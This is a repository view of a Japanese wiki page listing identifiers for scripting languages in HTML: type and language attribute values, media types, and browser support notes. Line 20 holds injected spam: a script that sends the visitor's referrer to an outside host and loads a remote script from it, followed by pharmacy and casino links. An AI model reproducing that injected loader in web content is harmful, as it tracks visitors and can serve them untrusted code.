/[pub]/suikawiki/sw4data/ids/2/189.txt
Suika

Contents of /suikawiki/sw4data/ids/2/189.txt

Parent Directory Parent Directory | Revision Log Revision Log


Revision 1.1 - (hide annotations) (download)
Wed Nov 12 17:07:56 2008 UTC (16 years ago) by wakaba
Branch: MAIN
File MIME type: text/plain
converted from SuikaWiki3 <http://suika.fam.cx/gate/cvs/suikawiki/wikidata/page/A5B9A5AFA5EAA5D7A5C8A4CEC7DEC2CEB7BF.txt>

1 wakaba 1.1
2     [52] [[HTML]] では、 [CODE(HTMLe)[[[script]]]]
3     要素を使って任意の[[スクリプト言語]]で書かれたコードを関連付けることができます。
4     他にもスクリプト言語を組入れることのできるマーク言語やスクリプトと関係するプロトコルなどがいくつも存在します。
5    
6     このような仕組みには、特定のスクリプト言語に依存しているものもあれば、
7     任意のスクリプト言語を (少なくても枠組みとしては) 利用可能なものもあります。
8     HTML は後者に該当します。後者の場合は、必然的にスクリプト言語を識別する仕組みが必要となります。
9    
10     この文書では、このスクリプト言語を識別するための仕組み
11     (その中でも特に、判定方法よりも識別子的プロトコル要素)
12     について扱います。文書名は[CITE[スクリプトの媒体型]]ですが、
13     [[媒体型]] (インターネット媒体型) はそのような識別子の一種です。
14     しかし、ここでは媒体型に限らず、様々な方法に触れます。
15     また、[Q[スクリプト]]と一般に呼ばれるものの範囲を少々逸脱していても、
16     スクリプトを汎用的に扱う仕組みの中で処理されることがあるものであれば、
17     同様に扱うこととします。
18    
19     [79]
20     g12208v-jps2k8l-tw6qeafb-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://www.inkredibleinks.com.au/forum/topic.asp?TOPIC_ID=222#2">buy cialis online</a>
21     http://www.onlinerx-phentermine.com#1
22     [url=http://www.lp112.com/forum/topic.asp?TOPIC_ID=95#3]onlinecasinos[/url]
23     [url]http://www.onlinerx-phentermine.com/shipping_phentermine.html#4[/url]
24     ([[treasure island casino]] [d70s_test87@hotmail.com])
25    
26     [[#comment]]
27    
28    
29     * スクリプトの種類を識別するプロトコル要素
30    
31    
32     ** インターネット媒体型
33    
34     [53] [DFN[[[媒体型]]]]は、 [[MIME]] で[[実体]]の書式を識別するために考案された識別子で、
35     後に [[Web]] でも種類の標準的な識別子として取入れられました。
36     そして、 [[HTML 4]] は [CODE(HTMLe)[script]] 要素の [CODE(HTMLa)[type]]
37     属性でスクリプトの種類の指定のために媒体型を採用しています。
38    
39     [2] [[HTML]] に埋め込まれて使うような類の[[スクリプト]]の
40     Internet [[媒体型]]は、大抵 [[IANAREG]] に載ってません。
41     そのせいもあって色んな指定が溢れています。
42    
43     [[#comment]]
44    
45    
46     ** language 属性の識別子
47    
48     [54] HTML の [CODE(HTMLe)[script]] 要素は、当初は [CODE(HTMLa)[language]]
49     属性によってスクリプト言語を識別していました。この識別子は、
50     単純な文字列であり、名前の標準化・登録や名前空間、
51     スクリプト言語の版などのための仕組みは用意されませんでした。
52    
53     HTML 4 は媒体型を使う [CODE(HTMLa)[type]] 属性を導入し、
54     [CODE(HTMLa)[language]] 属性は非推奨としています。そのため、
55     [CODE(HTMLa)[language]] 属性由来の識別子が今後広く使われることはないでしょう。
56    
57     [14] [[HTML 4]] でも''非推奨''ながら
58     [CODE(HTMLa)[language]] 属性は存在します。ないと誤解している文書があるようですので。
59    
60     [[#comment]]
61    
62    
63     ** メモ
64    
65     [[#comment]]
66    
67    
68     * スクリプトの種類を指定するプロトコル要素
69    
70    
71     ** script 要素 type 属性 (HTML, XHTML 1, XBL)
72    
73     [35] [[HTML]] の [CODE(HTMLe)[[[script]]]] 要素の
74     [DFN[[CODE(HTMLa)[type]] 属性]]は、その [CODE(HTMLe)[script]]
75     要素の内容の言語を指定します。
76    
77     [24] [[XBL]] での [CODE(XMLe)[[[script]]]]
78     要素の定義は、仕様書によれば HTML 4 と同じです。
79     (でも意図としては [[XHTML 1]] と同じ、だと思います。)
80    
81     [36] 仕様書:
82     - [[HTML 4]]
83     -- [CODE(HTMLe)[script]] 要素 [CODE(HTMLa)[type]] 属性
84     <IW:HTML4:"interact/scripts.html#adef-type-SCRIPT">
85     -- [CITE[18.2.2 Specifying the scripting language]]
86     <IW:HTML4:"interact/scripts.html#idx-scripting_language">
87     - [32] [Microsoft]
88     -- [CITE[TYPE Attribute | type Property (SCRIPT)]]
89     <http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/type_8.asp>
90    
91     [70]
92     [CITE[IHTMLScriptElement::type Property (Internet Explorer)]] <http://msdn.microsoft.com/workshop/browser/mshtml/reference/IFaces/ScriptElement/type.asp>
93     ([[名無しさん]] [sage])
94    
95     [[#comment]]
96    
97    
98     *** 属性値
99    
100     [37] この属性の値は [CODE(SGML)[%[[ContentType]]]] です。
101     [[SGML]] 的には [CODE(SGML)[[[CDATA]]]] です。
102    
103     [38] この属性は必須です。省略することはできません。
104    
105     [[#comment]]
106    
107    
108     *** 他との関係
109    
110     [39] [CODE(HTMLe)[script]] 要素のスクリプト言語の指定には、
111     [CODE(HTMLa)[language]] 属性も使えます。元々はそちらが使われていましたが、
112     [[HTML 4]] ではこれを非推奨とし、代わりに [CODE(HTMLa)[type]]
113     属性を必須としています。
114    
115     [[#comment]]
116    
117    
118     *** 実装
119    
120     [40] [CODE(HTMLe)[script]] 要素を知っている実装でも、古いものは
121     [CODE(HTMLa)[language]] 属性にしか対応しておらず、
122     [CODE(HTMLa)[type]] 属性による指定は無視されてしまいました。
123     そのため、両方の属性を指定することが好ましいと言われていたこともありました。
124     (現在では [CODE(HTMLa)[type]] 属性を知らない実装は死滅していると考えられています。)
125    
126     また、ほとんど (すべて?) の実装は、 [CODE(HTMLa)[type]] 属性も
127     [CODE(HTMLa)[language]] 属性の両方ともが指定されていない場合には
128     [[JavaScript]] で書かれていると解釈します ([CODE(HTTP)[[[Content-Style-Type]]]]
129     を継承するものもあるかもしれません)。
130    
131     [41] [CODE(HTMLa)[type]] 属性と [CODE(HTMLa)[language]] 属性が矛盾しているときの
132     UA の挙動は規定されていません。 [CODE(HTMLa)[type]]
133     属性を優先させるものが多いように思われます。
134    
135     [62] [[Mozilla]] 1.3a では、 [SAMP(HTML)[<script type="text/javascript;version=1.2" />]]
136     のように指定できます。 [SAMP(HTML)[<script type="text/javascript; version=1.2" />]]
137     とか [SAMP(HTML)[<script type="text/javascript;x-foo=bar; version=1.2" />]] とかでも OK
138     ですが、 [SAMP(HTML)[<script type="text/javascript;version=&quot;1.2&quot;" />]] や
139     [SAMP(HTML)[<script type='text/javascript;version="1.2"' />]] では動作しません。
140    
141     [63] [CODE(HTMLa)[language]] 属性と [CODE(HTMLa)[type]] 属性とで値が違う場合、
142     [[Mozilla]] 1.3a や [[WinIE 6]] では [CODE(HTMLa)[type]] 属性が優先されます。
143    
144     [64] [[WinIE]] ではスクリプト言語の既定値は [CODE(SGML)[#[[CURRENT]]]]
145     (ただし初出では JScript) になるらしいです。
146    
147     [78]
148     [CITE[/trunk/WebCore/html/HTMLTokenizer.cpp - WebKit - Trac]] <http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLTokenizer.cpp#L1172>
149     ([[名無しさん]])
150    
151     [[#comment]]
152    
153    
154     *** 例
155    
156     [60] 複数のスクリプト言語が混在する例 [SRC[HTML 4 18.6.2.2、改]]
157     [PRE(HTML)[
158     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
159     "http://www.w3.org/TR/html4/strict.dtd">
160     <HTML>
161     <HEAD>
162     <TITLE>A document with SCRIPT</TITLE>
163     <META http-equiv="Content-Script-Type" content="text/tcl">
164     <SCRIPT type="text/vbscript" src="http://someplace.example/progs/vbcalc">
165     </SCRIPT>
166     </HEAD>
167     <BODY>
168     <SCRIPT type="text/javascript">
169     [VAR[...some JavaScript...]]
170     </SCRIPT>
171     </BODY>
172     </HTML>
173     ]PRE]
174    
175     この文書の既定の言語は [[Tcl]] ですが、 [CODE(HTMLe)[head]]
176     内の外部スクリプトは [[VBScript]], [CODE(HTMLe)[body]]
177     内の埋込み (内部) スクリプトは [[JavaScript]] で書かれています。
178    
179     [[#comment]]
180    
181    
182     *** メモ
183    
184     [61] [CODE(HTMLa)[type]] の適用対象は[Q[内容]]とされており、
185     外部スクリプトには適用されないように思えますが、
186     >>60 の例より適用されると考えられます。
187     もっとも、外部スクリプトの場合は他の要素の [CODE(HTMLa)[[[type]]]]
188     属性同様に、属性値はヒント程度で、実際には外部資源の
189     [CODE(MIME)[[[Content-Type]]]] に拠って処理するのが適当と考えられます。
190    
191     [[#comment]]
192    
193    
194     ** スクリプト系要素の type 属性 (XBL)
195    
196     [43] その要素又は子孫の内容であるスクリプト言語を示します。
197     省略可能で既定値はありません。
198    
199     - [[implemention]] ☆
200     -- [[method]] ☆
201     --- [[parameter]] @
202     --- [[body]] @
203     -- [[property]] ☆
204     --- [[getter]] ☆ @
205     --- [[setter]] ☆ @
206     - [[handlers]] ☆
207     -- [[handler]] ☆ @
208    
209     [CODE[☆]] の要素には、 [CODE(XBL)[type]] 属性が存在します。
210     [CODE[@]] の要素は、その内容がスクリプトです。
211    
212     ある要素で [CODE(XBL)[type]] 属性の値が無い場合、親要素の値が継承されます。
213    
214     [44] 仕様書 (>>45) では値の例として [CODE(MIME)[text/javascript]] が挙がっています。
215     [[Mozilla]] では他に [CODE(MIME)[application/x-javascript]]
216     が使われています。しかし、値が指定されていない XBL 文書もあります。
217     Mozilla では [[JavaScript]] を既定値とみなしているようです
218     (というか他の言語に対応していないし)。
219    
220     実のところ仕様書にある例も [CODE(XMLa)[type]] 属性が無かったりします。
221    
222     [CODE(XMLa)[type]] 属性が無い場合
223     [[HTTP]] サーバーでは [CODE(HTTP)[[[Content-Script-Type]]:]]
224     欄を供給するのが良いかもしれません。
225    
226     - [45] ''XBL - XML Binding Language''
227     -- [CODE(XMLe)[implemention]] 要素<http://www.w3.org/TR/xbl#attr-implementation-type>
228     -- [CODE(XMLe)[method]] 要素 <http://www.w3.org/TR/xbl#attr-method-type>
229     -- [CODE(XMLe)[property]] <http://www.w3.org/TR/xbl/#attr-property-type>
230     -- [CODE(XMLe)[getter]] <http://www.w3.org/TR/xbl/#attr-getter-type>
231     -- [CODE(XMLe)[setter]] <http://www.w3.org/TR/xbl/#attr-setter-type>
232     -- [CODE(XMLe)[handlers]] <http://www.w3.org/TR/xbl/#attr-handlers-type>
233     -- [CODE(XMLe)[handler]] <http://www.w3.org/TR/xbl/#attr-handler-type>
234     [[#comment]]
235    
236    
237     ** Content-Script-Type: 頭欄 (HTTP)
238    
239     [46] [CODE(HTTP)[[[Content-Script-Type]]:]] 欄の説明をご覧ください。
240    
241    
242     ** language 属性 (HTML 4, XHTML 1)
243    
244     [55] [[HTML]] の [CODE(HTMLe)[[[script]]]] 要素の
245     [DFN[[CODE(HTMLa)[language]]]] 属性]]は、その要素の内容の[[スクリプト言語]]を指定します。
246    
247     [57] [[WinIE]] では任意の要素に指定できて、
248     [[内在事象取扱器]]属性に適用されます。
249    
250     [56] 仕様書:
251     - [[HTML 4]]
252     -- [CODE(HTMLe)[script]] 要素 [CODE(HTMLa)[language]] 属性
253     <IW:HTML4:"interact/scripts.html#adef-language">
254     - [31] [Microsoft]
255     -- [CITE[LANGUAGE Attribute | language Property (A, ACRONYM, ADDRESS, ...)]]
256     <http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/language.asp>
257    
258     [69]
259     [CITE[IHTMLElement::language Property (Internet Explorer - DHTML)]] <http://msdn.microsoft.com/workshop/browser/mshtml/reference/ifaces/ihtmlelement/language.asp>
260     ([[名無しさん]] [sage])
261    
262     [[#comment]]
263    
264    
265     *** 代替
266    
267     [58] この属性は非推奨です [SRC[HTML 4]]。
268     代わりに、 [CODE(HTMLa)[type]] 属性が利用できます。
269    
270     [[#comment]]
271    
272    
273     *** 属性値
274    
275     [3] この属性の値は [CODE(SGML)[[[CDATA]]]] で、
276     大文字・小文字を区別しません。スクリプト言語の識別子ですが、
277     標準化されておらず、 [CODE(HTMLa)[type]] 属性があるので非推奨とされています。
278     [SRC[HTML 4]]
279    
280     [5] [[M$DN]] によると [CODE(HTMLa)[language]] 属性の値には
281     [Q[[[.NET]] と互換性のある全ての言語を指定できます]]。
282    
283     [59] この属性は省略可能です。省略時については [CODE(HTMLa)[type]]
284     属性の説明をご覧ください。
285    
286     [[#comment]]
287    
288    
289     *** メモ
290    
291     [76]
292     [CODE(HTML example)@en[JavaScript 1.8]]:
293     存在しない版、版番号の前の [CODE(charname)@en[[[SPACE]]]]
294     ([[名無しさん]] [sage])
295    
296     [95]
297     [CITE[中時部落格-回頭是岸]] ([CODE[2008-06-08 22:24:53 +09:00]] 版) <http://blogger.chinatimes.com/taipeijk/Contact.aspx?id=1>
298    
299     >
300     [PRE(HTML invalid example code)[
301     <input type="submit" name="Contact1:btnSend" value="確認並送出" onclick="if (typeof(Page_ClientValidate) == 'function') Page_ClientValidate(); " language="javascript" id="Contact1_btnSend" class="button" />
302     ]PRE]
303    
304     ([[名無しさん]])
305    
306     [[#comment]]
307    
308    
309     ** メモ
310    
311     [65]
312     [CITE[DTV A S E L 1 (DASE-1) P 2: D A E ATSC Standard]] <http://www.atsc.org/standards/a_100_2.pdf> の規定する HTML の一種は、既定のスクリプト言語の決定に HTTP 頭欄を使わず、
313     [CODE(HTMLe)[meta]] 要素の [CODE(HTMLa)[[[name]]]] 属性の値が [CODE[Content-Script-Type]] であるものを使います。その [CODE(HTMLa)[[[content]]]] 属性の値は[[媒体型]]です。省略時の既定値は [CODE(MIME)[text/ecmascript]] です。
314     [SRC[5.1.1.6.7.1 Default Script Content Type]]
315     ([[名無しさん]] [sage])
316    
317     [[#comment]]
318    
319    
320     * 実際に見られる識別子の値
321    
322     [42] 現実に何らかの仕様書で規定・例示されていたり、
323     実装が存在していたり、使用している文書が存在していたりする具体的な識別子の値として知られているものを次に言語ごとに紹介します。
324    
325     [[#comment]]
326    
327    
328     ** ECMAScript 系 (JavaScript, JScript など)
329    
330     [12] '''媒体型''': [CODE(MIME)[[[application/x-javascript]]]],
331     [CODE(MIME)[[[text/javascript]]]] などがあります。
332     詳しくは [[JavaScript関係の媒体型]]をご覧ください。
333    
334     [13] '''[CODE(HTMLa)[language]] 属性''':
335     - (無指定) (NN2+, WinIE3+)
336     - [CODE(HTML)[LiveScript]] (NN2+, WinIE3+)
337     - [CODE(HTML)[JavaScript]] (NN2+, WinIE3+)
338     - [CODE(HTML)[JavaScript1.0]] (? Moz 1.3a)
339     -- [14] 新しい版との対称性のため後から追加されたようです。
340     - [CODE(HTML)[JavaScript1.1]] (NN3+, WinIE4+)
341     - [CODE(HTML)[JavaScript1.2]] (NN4+, WinIE4+)
342     - [CODE(HTML)[JavaScript1.3]] (NN4.06+, WinIE5+)
343     - [CODE(HTML)[JavaScript1.4]] (NN6+)
344     - [CODE(HTML)[JavaScript1.5]] (NN6+)
345     - [CODE(HTML)[JScript]] (WinIE4+)
346     - [17] [CODE(HTML)[ECMAScript]] (? WinIE6)
347    
348     [47] '''拡張子''': [CODE(file)[.js]] がよく使われます。
349    
350     参考文献:
351     - [15] ''スクリプトバージョンのチェック''
352     <http://www.fureai.or.jp/~tato/JS/scripttg.htm>
353     -- 実際にお使いの [[UA]] で確認出来ます。良頁。
354     - [16] ''JavaScript Script Tag and Language Acceptance''
355     <http://www.mauvecloud.net/jscore/jslang.html>
356     - [[ScriptTest]]
357     - [26] ''DOM Sample - Script Tag''
358     <http://www.din.or.jp/~hagi3/JavaScript/JSTips/Mozilla/Samples/TagScript.htm>
359    
360    
361     ** VBScript
362    
363     [18] '''媒体型''':
364     - [CODE(MIME)[[[text/vbs]]]]
365     - [CODE(MIME)[[[text/vbscript]]]] (WinIE3+, HTML 4 仕様書に例あり)
366     - [CODE(MIME)[[[text/x-vbscript]]]]
367     (<http://www.w3.org/TR/2002/WD-xhtml2-20021218/mod-scripting.html> に例あり)
368     - [CODE(MIME)[[[application/x-vbscript]]]]
369    
370     [19] '''[CODE(HTMLa)[language]] 属性''':
371     - [CODE(HTML)[VBScript]] (WinIE3+)
372     - [CODE(HTML)[VBS]] (WinIE3+)
373     - [1] [CODE(HTML)[VB]] ([[M$DN]] とかにあるが WinIE 未対応。)
374    
375     [48] '''拡張子''': [CODE(file)[.vbs]] が良く使われます。
376    
377     [[#comment]]
378    
379    
380     ** PerlScript
381    
382     [49] [Q[PerlScript]] は [[ActiveScript]] 機能により WinIE
383     などから利用できる [[Perl]] です。 [[ActivePerl]] (Win32 向けの Perl 配布)
384     の一機能となっています。
385    
386     [20] '''媒体型''':
387     - [CODE(MIME)[[[text/perlscript]]]] (ActivePerl)
388     - [CODE(MIME)[[[application/x-perlscript]]]]
389     - [CODE(MIME)[[[[text/x-perl]]]]
390     (<http://www.w3.org/TR/2002/WD-xhtml2-20021218/mod-scripting.html> に例あり)
391    
392     [6] '''[CODE(HTMLa)[language]] 属性''':
393     - [CODE(HTML)[PerlScript]]
394    
395     [50] 参考: PerlScript でない一般の [[Perl]] script・module 等には
396     [CODE(MIME)[[[application/x-perl-script]]]], [CODE(MIME)[[[application/x-perl]]]]
397     が使われています。
398    
399     [[#comment]]
400    
401    
402     * TCL
403    
404     [21] '''媒体型''':
405     - [CODE(MIME)[[[text/tcl]]]] (HTML 4 仕様書に例あり)
406     - [27] [CODE(MIME)[[[[text/x-tcl]]]]
407    
408     [[#comment]]
409    
410    
411     * RubyScript
412    
413     [51] [Q[RubyScript]] は [[ActiveScript]] によって [[WinIE]]
414     などで使うことができる [[Ruby]] で、 [[ActiveRubyScript]]
415     というプログラムにより実装されています。
416    
417     [10] '''媒体型''':
418     - [CODE(MIME)[[[text/rubyscript]]]]
419    
420     [11] '''[CODE(HTMLa)[language]] 属性''':
421     - [CODE(HTML)[RubyScript]] (ActiveRubyScript)
422    
423     [[#comment]]
424    
425    
426     * C#
427    
428     [4] '''[CODE(HTMLa)[language]] 属性''':
429     - [CODE(HTML)[C#]]
430    
431     普通は生の HTML 文書ではなく、 [[ASP]] などで使われます。
432    
433     [[#comment]]
434    
435    
436     * Cache'
437    
438     [7] '''[CODE[language]] 属性''':
439     - [CODE(HTML)[Cache]] ([[CSP]] ([CITE[技術サポート]]
440     <http://www.cacheinfo.com/techinfo.htm> 参照。))
441    
442     生の HTML 文書ではなく、 [[CSP]] で使われます。
443    
444     [[#comment]]
445    
446    
447     * SQL
448    
449     [25] '''[CODE(HTMLa)[language]] 属性''':
450     - [CODE(HTML)[SQL]] ([[CSP]] ([CITE[技術サポート]]
451     <http://www.cacheinfo.com/techinfo.htm> 参照。))
452    
453     Script なのか? という気はしないでもないですが。
454    
455     [[#comment]]
456    
457    
458     * COBOL
459    
460     [8] '''[CODE(HTMLa)[language]] 属性''':
461     - [CODE(HTML)[COBOL]] ([[NetCOBOL]] ([[.NET]] 化した [[COBOL]]) 用)
462    
463     [9] >>8 そこまでするか COBOLer って感じですが。
464    
465     [[#comment]]
466    
467    
468     * XML Data Island
469    
470     [28] '''[CODE(HTML)[language]] 属性''':
471     - [CODE(HTML)[xml]]
472    
473     [29] '''[[媒体型]]''':
474     - [CODE(MIME)[[[text/xml]]]]
475    
476     [33]
477     [[XML Data Island]] によるデータ・スクリプトならしいです。
478     凡人には理解できない [[M$]] 独自技術です。
479     独自技術に勝手に標準技術の名前を使うところがまた M$ らしい。
480    
481     >>31 によれば [[WinIE]] 5 以上が対応しています。
482    
483     参考文献:
484     - [30] [CITE[Concepts]] <http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/htm/xml_concepts2_2n03.asp>
485    
486     [[#comment]]
487    
488    
489     ** Python
490    
491     [34] '''[CODE(HTMLa)[language]] 属性''':
492     - [CODE(HTML)[Python]]
493    
494     [67]
495     [CODE(MIME)[[[application/x-python]]]] で
496     [[Python]] を使えるようにしようという話
497    
498     [CITE[Programming languages]] <http://www.mozilla.org/events/dev-day-feb-2004/mozilla-futures/langs.html>
499     ([[名無しさん]])
500    
501     [80]
502     [CITE@en[PyDOM - MDC]] ([CODE[2006-10-06 05:32:56 +09:00]] 版) <http://developer.mozilla.org/en/docs/PyDOM#Using_Python>
503     ([[名無しさん]])
504    
505     [[#comment]]
506    
507    
508     ** メモ
509    
510     [66]
511     PHP language=php (鯖側処理)
512     ([[名無しさん]] [sage])
513    
514     [68]
515     [CITE[Bug 62485 - script type="text/ecmascript" is not recognized]] <https://bugzilla.mozilla.org/show_bug.cgi?id=62485>
516     ([[名無しさん]] [sage])
517    
518     [71]
519     [SAMP(HTML)[language=JScript.Encode]]、
520     [SAMP(HTML)[language=VBScript.Encode]]
521    
522     他の [[ActiveScript]] でも使えるんだろうか?
523     ([[名無しさん]] [sage])
524    
525     [[#comment]]
526    
527    
528     * メモ
529    
530     [72]
531     [CITE@en[X3D Specification, ISO/IEC 19775-2:200x, Part 2, Annex A VRML97 Scripting Backwards Compatibility]]
532     <http://www.web3d.org/x3d/specifications/ISO-IEC-19775-IS-X3DAbstractSpecification/Part02/vrml97.html#ECMAScriptMIMETypes>
533    
534     [[X3D]] で [[VRML]] と互換性を保つための[[媒体型]]として
535     [CODE(MIME)@en[[[application/javascript]]]] と
536     [CODE(MIME)@en[[[application/x-javascript]]]]
537     が規定されています。
538     ([[名無しさん]] [sage])
539    
540     [73]
541     で、新しい [[X3D]] 用のは [CODE(MIME)@en[[[application/ecmascript]]]]
542     と [CODE(MIME)@en[[[application/x-ecmascript]]]]
543     ([[名無しさん]] [sage])
544    
545     [74]
546     >>73 の規定は
547     [CITE@en[ISO/IEC 19777-1:2005 -- X3D ECMAScript binding -- 4 Concepts]]
548     <http://www.web3d.org/x3d/specifications/ISO-IEC-19777-1-FDIS-X3DLanguageBindings-ECMAScript/Part1/concepts.html#MIMEType>
549    
550     ([[名無しさん]] [sage])
551    
552     [75]
553     [CITE@en[ISO/IEC 19777-1:2005 -- X3D ECMAScript binding -- 4 Concepts]]
554     <http://www.web3d.org/x3d/specifications/ISO-IEC-19777-FDIS-X3DLanguageBindings/Part1/concepts.html#MIMEType>
555    
556     ([[名無しさん]] [sage])
557    
558     [77]
559     [CITE[products and projects]] <http://www.terrainformatica.com/sciter/preface.whtm>
560    
561     [CODE(MIME)@en[[[text/tiscript]]]]
562     ([[名無しさん]])
563    
564     [81]
565     [CITE[Dustin Long's homepage]] ([CODE[2007-04-14 09:27:31 +09:00]] 版) <http://www.cs.stevens.edu/~dlong/software/kamen/index.php>
566    
567     > language="text/common-lisp"
568    
569     (まま)
570     ([[名無しさん]] [WEAK[2007-04-14 00:31:28 +00:00]])
571    
572     [82]
573     [CITE@en[Mike Harsh's Blog : WPF/E Code Walkthrough]] ([CODE[2007-05-05 11:14:45 +09:00]] 版) <http://blogs.msdn.com/mharsh/archive/2006/03/28/563098.aspx>
574    
575     [CODE(MIME)@en[[[text/xaml]]]]
576     ([[名無しさん]])
577    
578     [83]
579     >>82 [[XMLデータ島]]やるために [CODE(HTMLe)@en[[[script]]]]
580     を使うというのは、ものすごく時代に逆行していますね。
581     [[Shaping the Future of HTML]] Workshop を思い起こしますw
582     ([[名無しさん]] [WEAK[2007-05-05 02:23:16 +00:00]])
583    
584     [84]
585     [[type]]=[[text/xml-script]]
586     ([[名無しさん]])
587    
588     [85]
589     [CITE[seamonkey mozilla/content/base/src/nsScriptLoader.cpp]] ([CODE[2007-07-08 17:10:21 +09:00]] 版) <http://mxr.mozilla.org/seamonkey/source/content/base/src/nsScriptLoader.cpp#268>
590     ([[名無しさん]])
591    
592     [86]
593     [CITE[Bug 255895 &#8211; JS1.2 must die (was: Page with menus looks good in milestones and older releases; fails with recent nightlies)]] ([CODE[2007-07-25 22:11:02 +09:00]] 版) <https://bugzilla.mozilla.org/show_bug.cgi?id=255895>
594     ([[名無しさん]])
595    
596     [87]
597     [CITE[Bug 62485 &#8211; script type="text/ecmascript" is not recognized]] ([CODE[2007-07-25 22:05:45 +09:00]] 版) <https://bugzilla.mozilla.org/show_bug.cgi?id=62485>
598     ([[名無しさん]])
599    
600     [88]
601     [CITE[Bug 62485 &#8211; script type="text/ecmascript" is not recognized]] ([CODE[2007-07-25 22:05:45 +09:00]] 版) <https://bugzilla.mozilla.org/show_bug.cgi?id=62485>
602     ([[名無しさん]])
603    
604     [89]
605     [CITE[Bug 62485 &#8211; script type="text/ecmascript" is not recognized]] ([CODE[2007-07-25 22:05:45 +09:00]] 版) <https://bugzilla.mozilla.org/show_bug.cgi?id=62485>
606     ([[名無しさん]])
607    
608     [90]
609     [CITE[理想の結婚相手をみつけよう!【無料パートナー検索】]] ([CODE[2007-10-21 20:42:53 +09:00]] 版) <http://love.nozze.com/index.php/NOZ00188/kiss/>
610    
611     >
612     [PRE(HTML bad example code)[
613     <script language="VBScript" type="text/vbscript">
614     <!-- // Flash Player ActiveX コントロールのバージョン情報を検出するには、Visual Basic ヘルパーが必要です
615     ]PRE]
616    
617     [[Flash]] の動作の [[IE]] とそれ以外の区別のために
618     [[VBScript]] を使っているようです。
619     ([[名無しさん]])
620    
621     [91]
622     [CITE@ja[オレオレ言語の MIME タイプ: Days on the Moon]] ([CODE[2008-05-11 15:39:16 +09:00]] 版) <http://nanto.asablo.jp/blog/2007/11/23/2453383>
623     ([[名無しさん]])
624    
625     [92]
626     [CITE[jquery2]] ([CODE[2006-09-02 15:58:30 +09:00]] 版) <http://ejohn.org/apps/jquery2/>
627    
628     [PRE(HTML example code)[
629     <script type="text/jquery">
630     pre:
631     css 'background' '#212121'
632     css 'color' '#0F0'
633     css 'padding' '10px'
634     css 'font-size' '14px'
635     body:
636     prepend '<h1>jquery<sup>2</sup></h1>'
637     input:first: click compile
638     input:last: click run
639     </script>
640     ]PRE]
641    
642     ([[名無しさん]])
643    
644     [93]
645     [CITE@ja[Logo on JavaScript]] ([CODE[2008-01-20 22:41:29 +09:00]] 版) <http://accelart.jp/shibuyajs/logo/logo.html>
646    
647     [PRE(HTML example code)[
648     <script type="text/logo">
649     手順は 森の一部を描け :何回目 :長さ
650     もし :何回目 = :緻密さ [
651     前へ :長さ
652     止まれ
653     ]
654     森の一部を描け :何回目 + 1 :長さ * 0.6
655     右へ 85
656     森の一部を描け :何回目 + 1 :長さ / 3
657     左へ 170
658     森の一部を描け :何回目 + 1 :長さ / 3
659     右へ 85
660     森の一部を描け :何回目 + 1 :長さ * 0.35
661     終わり
662     手順は 森を描け :緻密さ
663     ペンを上げろ
664     位置は [ 270 -20 ]
665     左へ 90
666     ペンを下ろせ
667    
668     森の一部を描け 0 550
669     終わり
670     森を描け 5
671     </script>
672     ]PRE]
673    
674     ([[名無しさん]])
675    
676     [94]
677     [CITE[ブラウザで S 式をつかいたい>< - 女子高生ぷろぐらまーなお☆のブログ]] ([CODE[2008-04-23 23:36:48 +09:00]] 版) <http://d.hatena.ne.jp/jknaoya/20071116/1195201179>
678    
679     [PRE(HTML example code)[
680     <script type="application/x-naoscheme">
681     (define myalert (msg)
682     (alert msg))
683     (set! test "*_*")
684     ((lambda (foo)
685     (myalert foo)) test)
686     </script>
687     <script type="application/x-naoscheme">
688     (add-event-listener window "load" (lambda (e)
689     (alert e)
690     (call document.body "appendChild" (call document "createTextNode" "こんにちは!"))
691     ) false)
692     </script>
693     ]PRE]
694    
695     ([[名無しさん]])
696    
697     [96]
698     [[OSML]]:
699     [CODE@en[[[type]]="[[text/os-data]]"]],
700     [CODE@en[[[type]]="[[text/os-template]]"]]
701     ([[名無しさん]])
702    

admin@suikawiki.org
ViewVC Help
Powered by ViewVC 1.1.24